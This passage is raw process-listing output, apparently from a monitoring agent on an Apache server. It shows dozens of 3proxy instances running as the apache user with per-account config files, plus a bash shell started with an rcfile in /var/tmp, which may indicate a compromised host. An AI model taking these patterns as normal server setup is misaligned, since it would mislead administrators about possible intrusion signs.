[kworker/23:1H]\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 470872 3536 00:06:12 7-21:39:30 2562 /usr/local/3proxy-0.9.4/bin/3proxy /config/bogdangh-NWBOWTQW.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 9196204 18248 11:29:54 63-22:39:11 2580 /usr/local/3proxy-0.9.4/bin/3proxy /config/ramkumar-3ST2P7OT.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 8933788 16004 05:04:42 31-19:29:01 2756 /usr/local/3proxy-0.9.4/bin/3proxy /config/parthiec-BW2L2KI3.cfg\\n- root 0 0 00:00:01 01:19:28 2962 [kworker/u48:0]\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 2767012 6912 00:02:19 17-21:59:44 3327 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-0E5C56RA.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 12575872 20276 02:38:52 47-04:04:26 3335 /usr/local/3proxy-0.9.4/bin/3proxy /config/63961582-K1D3GS4N.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 9589828 15112 01:10:04 10-19:10:48 4029 /usr/local/3proxy-0.9.4/bin/3proxy /config/parthiec-WLK46DCM.cfg\\n- root 0 0 00:00:02 284-05:16:49 4055 [kworker/18:1H]\\n- root 0 0 00:00:00 284-05:16:33 4386 [kworker/8:1H]\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 5719192 10556 00:09:26 21-03:46:45 4579 /usr/local/3proxy-0.9.4/bin/3proxy /config/lctbylcg-ZUKVY733.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 4341508 4776 00:10:13 77-20:31:45 4630 /usr/local/3proxy-0.9.4/bin/3proxy /config/jameswes-G4WY0WF3.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 6178420 11356 00:09:52 20-11:11:45 4668 /usr/local/3proxy-0.9.4/bin/3proxy /config/daovanqu-UMPH4OTL.cfg\\n- root 0 0 00:00:01 284-05:16:10 4737 [kworker/3:1H]\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 6506440 4884 00:02:54 4-06:22:14 4788 /usr/local/3proxy-0.9.4/bin/3proxy /config/asteryip-M4L87J4X.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 12571588 48092 04:07:52 61-01:33:23 4901 /usr/local/3proxy-0.9.4/bin/3proxy /config/devheads-PWV8B9Z6.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 12017176 7924 00:21:11 75-15:45:41 4979 /usr/local/3proxy-0.9.4/bin/3proxy /config/ZOPX11QV.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 8588 740 00:00:00 136-01:09:56 5036 \\n- root 0 0 00:05:14 234-15:40:33 5113 [kworker/10:0]\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 339664 3416 00:04:39 17-04:56:45 5274 /usr/local/3proxy-0.9.4/bin/3proxy /config/NevaVonp-4NZTMODO.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 12017176 17248 05:27:21 21-05:47:04 5313 /usr/local/3proxy-0.9.4/bin/3proxy /config/ramkumar-2WUYHA6I.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 12554656 10096 00:28:56 24-10:08:39 5437 /usr/local/3proxy-0.9.4/bin/3proxy /config/billings-YOL58Q9T.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 6047212 5344 00:05:24 19-19:21:45 5605 /usr/local/3proxy-0.9.4/bin/3proxy /config/NevaVonp-U2O00JGK.cfg\\n- root 0 0 00:00:00 284-05:15:03 5634 [kworker/5:1H]\\n- root 0 0 00:00:14 284-05:12:38 5708 [kworker/14:1H]\\n- root 0 0 00:00:00 284-05:12:02 5709 [kworker/7:1H]\\n- root 0 0 00:00:02 284-05:11:28 5918 [kworker/15:1H]\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 8868184 15004 00:17:22 22-21:13:44 5968 /usr/local/3proxy-0.9.4/bin/3proxy /config/nsadik91-7Z6MC6BE.cfg\\n10:devices:/user.slice,9:cpuacct,cpu:/user.slice,7:blkio:/user.slice,5:pids:/user.slice,3:memory:/user.slice,1:name=systemd:/user.slice/user-0.slice/session-1180.scope root 22696 2212 00:14:32 235-06:38:50 6026 tmux\\n10:devices:/user.slice,9:cpuacct,cpu:/user.slice,7:blkio:/user.slice,5:pids:/user.slice,3:memory:/user.slice,1:name=systemd:/user.slice/user-0.slice/session-1180.scope root 115740 2248 00:00:00 235-06:38:50 6027 -bash\\n- root 0 0 00:00:00 4-00:48:47 6194 [kworker/20:2]\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 2045368 3884 01:17:54 18-02:45:23 6412 /usr/local/3proxy-0.9.4/bin/3proxy /config/bogdangh-QNXAME1O.cfg\\n- root 0 0 00:00:00 8-03:48:47 6430 [kworker/2:0]\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 6112816 11404 00:06:44 17-21:58:45 6520 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-6PGLSKU8.cfg\\n- root 0 0 00:00:00 284-05:07:13 6529 [kworker/13:1H]\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 6703252 12096 00:07:11 17-21:58:45 6554 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-9YCVK3SG.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 6047212 11316 00:10:13 17-21:58:43 6613 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-N6QU6WHW.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 12555604 11388 01:20:02 15-07:01:45 6642 /usr/local/3proxy-0.9.4/bin/3proxy /config/surlydon-BVHYYT2X.cfg\\n- root 0 0 00:00:00 284-05:02:28 6721 [kworker/20:1H]\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 340424 15528 00:00:00 3-04:35:46 6955 /usr/sbin/httpd -DFOREGROUND\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 340132 15424 00:00:00 3-04:35:46 6956 /usr/sbin/httpd -DFOREGROUND\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 340400 15508 00:00:00 3-04:35:46 6957 /usr/sbin/httpd -DFOREGROUND\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 340400 15504 00:00:00 3-04:35:46 6958 /usr/sbin/httpd -DFOREGROUND\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 340164 15428 00:00:00 3-04:35:46 6959 /usr/sbin/httpd -DFOREGROUND\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 142852 3512 00:02:18 18-21:35:44 6961 /usr/local/3proxy-0.9.4/bin/3proxy /config/beytum28-YS7NU8M7.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 11828 1876 00:00:00 136-01:09:35 7022 bash --rcfile /var/tmp/.bashrc\\n- root 0 0 00:00:05 284-05:00:49 7491 [kworker/16:1H]\\n- root 0 0 00:00:00 284-05:00:10 7531 [kworker/6:1H]\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 2438992 6512 00:00:34 4-19:58:40 7660 /usr/local/3proxy-0.9.4/bin/3proxy /config/hermanke-VSHAYKW6.cfg\\n- root 0 0 00:00:31 284-04:53:50 7931 [kworker/19:1H]\\n- root 0 0 00:00:09 284-04:47:30 8191 [kworker/17:1H]\\n10:devices:/user.slice,9:cpuacct,cpu:/user.slice,7:blkio:/user.slice,5:pids:/user.slice,3:memory:/user.slice,1:name=systemd:/user.slice/user-0.slice/session-1180.scope root 115740 2228 00:00:00 161-06:52:13 8352 -bash\\n- root 0 0 00:00:00 38-05:48:47 8471 [kworker/12:2]\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 1586140 4000 00:07:56 63-14:49:05 8734 /usr/local/3proxy-0.9.4/bin/3proxy /config/jokubasm-PKLAZQ1I.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 12563388 10544 2-09:30:45 19-01:50:55 8856 /usr/local/3proxy-0.9.4/bin/3proxy /config/bogdangh-9V5EZIT3.cfg\\n- root 0 0 00:00:00 98-17:48:47 8986 [kworker/23:2]\\n- root 0 0 00:00:00 284-04:21:13 8989 [kworker/12:1H]\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 3095032 7376 00:53:48 59-18:26:42 9000 /usr/local/3proxy-0.9.4/bin/3proxy /config/garywebe-S9N0UHLT.cfg\\n- root 0 0 00:00:00 127-21:48:47 9121 [kworker/11:0]\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 8736976 14968 00:34:16 26-04:45:45 9347 /usr/local/3proxy-0.9.4/bin/3proxy /config/beytum28-3OHM4FDZ.cfg\\n- root 0 0 00:00:00 284-04:17:48 9380 [kworker/9:1H]\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 6506440 11148 00:13:12 18-05:16:46 9447 /usr/local/3proxy-0.9.4/bin/3proxy /config/bangdam2-5ZHQ0PCJ.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 12566760 36680 01:23:42 60-05:37:01 9450 /usr/local/3proxy-0.9.4/bin/3proxy /config/feeltheb-QHESSGCK.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 12570840 52288 02:07:29 60-20:04:31 9648 /usr/local/3proxy-0.9.4/bin/3proxy /config/devheads-PCC7YB6Y.cfg\\n- root 0 0 00:00:00 5-01:48:47 9798 [kworker/17:0]\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 5456776 10628 00:08:33 17-21:57:45 9863 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-5IC02KU4.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 7162480 13328 08:56:51 63-14:48:29 9867 /usr/local/3proxy-0.9.4/bin/3proxy /config/ramkumar-1SJNA571.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 5587984 10776 00:06:49 17-21:57:45 9904 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-D0LAAPSM.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 7490500 5536 00:10:14 62-01:22:45 10055 /usr/local/3proxy-0.9.4/bin/3proxy /config/pcrazier-0AHA9804.cfg\\n10:devices:/system.slice/xinetd.service,9:cpuacct,cpu:/system.slice/xinetd.service,7:blkio:/system.slice/xinetd.service,5:pids:/system.slice/xinetd.service,3:memory:/system.slice/xinetd.service,1:name=systemd:/system.slice/xinetd.service root 115940 2164 00:00:00 00:00 10296 /bin/bash /usr/bin/check_mk_agent\\n10:devices:/system.slice/xinetd.service,9:cpuacct,cpu:/system.slice/xinetd.service,7:blkio:/system.slice/xinetd.service,5:pids:/system.slice/xinetd.service,3:memory:/system.slice/xinetd.service,1:name=systemd:/system.slice/xinetd.service root 116072 1640 00:00:00 00:00 10328 /bin/bash /usr/bin/check_mk_agent\\n10:devices:/system.slice/xinetd.service,9:cpuacct,cpu:/system.slice/xinetd.service,7:blkio:/system.slice/xinetd.service,5:pids:/system.slice/xinetd.service,3:memory:/system.slice/xinetd.service,1:name=systemd:/system.slice/xinetd.service root 115940 1160 00:00:00 00:00 10329 /bin/bash /usr/bin/check_mk_agent\\n10:devices:/system.slice/xinetd.service,9:cpuacct,cpu:/system.slice/xinetd.service,7:blkio:/system.slice/xinetd.service,5:pids:/system.slice/xinetd.service,3:memory:/system.slice/xinetd.service,1:name=systemd:/system.slice/xinetd.service root 4384 356 00:00:00 00:00 10330 cat\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 2438992 4172 00:00:53 6-20:54:03 10348 /usr/local/3proxy-0.9.4/bin/3proxy /config/I-HASRATUN-BGQ469MB.cfg\\n10:devices:/system.slice/xinetd.service,9:cpuacct,cpu:/system.slice/xinetd.service,7:blkio:/system.slice/xinetd.service,5:pids:/system.slice/xinetd.service,3:memory:/system.slice/xinetd.service,1:name=systemd:/system.slice/xinetd.service root 115940 1140 00:00:00 00:00 10375 /bin/bash /usr/bin/check_mk_agent\\n10:devices:/system.slice/xinetd.service,9:cpuacct,cpu:/system.slice/xinetd.service,7:blkio:/system.slice/xinetd.service,5:pids:/system.slice/xinetd.service,3:memory:/system.slice/xinetd.service,1:name=systemd:/system.slice/xinetd.service root 51732 1704 00:00:00 00:00 10376 ps ax -o cgroup:512,user:32,vsz,rss,cputime,etime,pid,command --columns 10000\\n10:devices:/system.slice/xinetd.service,9:cpuacct,cpu:/system.slice/xinetd.service,7:blkio:/system.slice/xinetd.service,5:pids:/system.slice/xinetd.service,3:memory:/system.slice/xinetd.service,1:name=systemd:/system.slice/xinetd.service root 4392 356 00:00:00 00:00 10377 tr -s \\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 12017176 17616 00:37:02 15-21:13:44 10863 /usr/local/3proxy-0.9.4/bin/3proxy /config/daovanqu-XUH7LKJP.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 4275904 9264 00:16:30 79-13:35:43 11039 /usr/local/3proxy-0.9.4/bin/3proxy /config/I-NUKEBALA-R352JDMH.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 2176576 6208 00:01:23 11-02:39:45 11071 /usr/local/3proxy-0.9.4/bin/3proxy /config/ajdafran-1YBJBB41.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 4931944 9880 00:04:43 16-19:51:06 11195 /usr/local/3proxy-0.9.4/bin/3proxy /config/usamamaq-D5WH8BCA.cfg\\n- root 0 0 00:00:00 23-00:48:47 11258 [kworker/22:2]\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 667684 3628 00:00:51 2-01:10:49 11938 /usr/local/3proxy-0.9.4/bin/3proxy /config/I-BTG42PRO-6TMAH70E.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 3751072 8228 00:05:00 19-01:49:44 12018 /usr/local/3proxy-0.9.4/bin/3proxy /config/bangdam2-QX1Z22I2.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 9589828 5396 08:05:22 19-01:49:43 12112 /usr/local/3proxy-0.9.4/bin/3proxy /config/bogdangh-ELOW7A5V.cfg\\n- root 0 0 00:00:00 58-06:48:47 12121 [kworker/6:1]\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 8080936 4928 04:26:43 62-19:26:06 12166 /usr/local/3proxy-0.9.4/bin/3proxy /config/ultimall-QEL0H6XE.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 5719192 14660 00:02:39 14-22:10:34 12520 /usr/local/3proxy-0.9.4/bin/3proxy /config/maxmagal-WHRK9CZD.cfg\\n- root 0 0 00:00:01 03:07:57 12523 [kworker/u48:2]\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 4997548 9816 00:07:59 17-21:56:45 12543 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-VXED6OLM.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 11754760 18068 01:14:32 12-17:37:45 12931 /usr/local/3proxy-0.9.4/bin/3proxy /config/stevecay-HZLD5FHY.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 2438992 6520 00:02:10 16-21:29:34 13006 /usr/local/3proxy-0.9.4/bin/3proxy /config/rangaqas-E344BRC1.cfg\\n- root 0 0 00:00:01 284-04:13:15 13184 [kworker/2:1H]\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 12548468 23440 00:22:50 17-22:07:45 13343 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-ILOCN0PB.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 7884124 13804 00:12:49 17-22:07:45 13377 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-OJF7JY4X.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 11644 3316 00:05:02 61-02:10:45 13481 /usr/local/3proxy-0.9.4/bin/3proxy /config/I-GA37XALB.cfg\\n- root 0 0 00:00:00 98-05:48:46 13482 [kworker/0:1]\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 3685468 8216 00:00:10 21:33:36 13652 /usr/local/3proxy-0.9.4/bin/3proxy /config/amryasse-F0PUX096.cfg\\n10:devices:/system.slice/postfix.service,9:cpuacct,cpu:/system.slice/postfix.service,7:blkio:/system.slice/postfix.service,5:pids:/system.slice/postfix.service,3:memory:/system.slice/postfix.service,1:name=systemd:/system.slice/postfix.service postfix 91548 5860 00:00:00 26:46 13682 pickup -l -t unix -u\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 6965668 13096 00:28:29 98-17:51:45 13796 /usr/local/3proxy-0.9.4/bin/3proxy /config/I-MBTHEEYE-UZG1R68R.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 142852 3448 00:07:42 63-18:58:39 13861 /usr/local/3proxy-0.9.4/bin/3proxy /config/24634855-LBLUXR6G.cfg\\n- root 0 0 00:04:05 179-11:48:47 14343 [kworker/9:2]\\n- root 0 0 00:00:00 164-03:48:47 14394 [kworker/10:1]\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 2832616 7892 02:26:41 98-17:51:41 14460 /usr/local/3proxy-0.9.4/bin/3proxy /config/jetatech-HHD0U3U2.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 5850400 5316 00:17:14 98-17:51:40 14581 /usr/local/3proxy-0.9.4/bin/3proxy /config/mdehan88-IA9W3TYK.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 3029428 4280 00:12:31 98-17:51:40 14640 /usr/local/3proxy-0.9.4/bin/3proxy /config/mdehan88-YPSMKRNB.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 798892 3496 00:10:04 22-01:07:45 14755 /usr/local/3proxy-0.9.4/bin/3proxy /config/cschreib-74UXBGV4.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 4603924 9352 00:07:16 17-21:55:45 15058 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-G0N098AJ.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 4341508 4776 00:24:49 98-17:51:37 15265 